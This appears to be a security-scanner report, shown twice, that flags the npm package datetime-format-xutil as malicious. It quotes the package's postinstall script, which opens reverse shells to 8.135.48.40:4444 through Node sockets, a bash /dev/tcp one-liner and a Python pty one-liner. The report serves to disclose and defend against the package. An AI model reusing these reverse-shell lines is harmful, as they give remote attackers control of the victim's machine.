datetime-format-xutil@1.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

datetime-format-xutil@1.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync, spawn } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

5const VPS = '8.135.48.40'; const PORT = 4444; // 方式1: node 原生反弹 shell（不依赖 bash） try { var c = net.connect(PORT, VPS, function() {

High

Suspicious Lifecycle Evidence

postinstall.js opens a TCP connection to 8.135.48.40:4444.

postinstall.jsView on unpkg · L5

10var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/sh', []); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Ai Review Evidence

On connection, it spawns /bin/sh and pipes its input/output to the remote socket.

postinstall.jsView on unpkg · L10

16c.on('error', function() { // 方式2: 尝试 bash 反弹 try { execSync(`bash -i >& /dev/tcp/${VPS}/${PORT} 0>&1`); } catch(e) { // 方式3: python 反弹 try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'`); } catch(e2) { // 回传错误 http.get(`http://${VPS}/shell/failed?err=` + encodeURIComponent(e2.message.substring(0,200)));

High

Ai Review Evidence

Connection failure triggers bash and Python reverse-shell fallbacks plus HTTP error reporting.

postinstall.jsView on unpkg · L16

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync, spawn } = require('child_process'); L2: const net = require('net'); L3: const http = require('http'); ... L10: var c = net.connect(PORT, VPS, function() { L11: var sh = spawn('/bin/sh', []); L12: c.pipe(sh.stdin); L13: sh.stdout.pipe(c); L14: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync, spawn } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

5const VPS = '8.135.48.40'; const PORT = 4444; // 方式1: node 原生反弹 shell（不依赖 bash） try { var c = net.connect(PORT, VPS, function() {

High

Suspicious Lifecycle Evidence

postinstall.js opens a TCP connection to 8.135.48.40:4444.

postinstall.jsView on unpkg · L5

10var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/sh', []); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Ai Review Evidence

On connection, it spawns /bin/sh and pipes its input/output to the remote socket.

postinstall.jsView on unpkg · L10

16c.on('error', function() { // 方式2: 尝试 bash 反弹 try { execSync(`bash -i >& /dev/tcp/${VPS}/${PORT} 0>&1`); } catch(e) { // 方式3: python 反弹 try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'`); } catch(e2) { // 回传错误 http.get(`http://${VPS}/shell/failed?err=` + encodeURIComponent(e2.message.substring(0,200)));

High

Ai Review Evidence

Connection failure triggers bash and Python reverse-shell fallbacks plus HTTP error reporting.

postinstall.jsView on unpkg · L16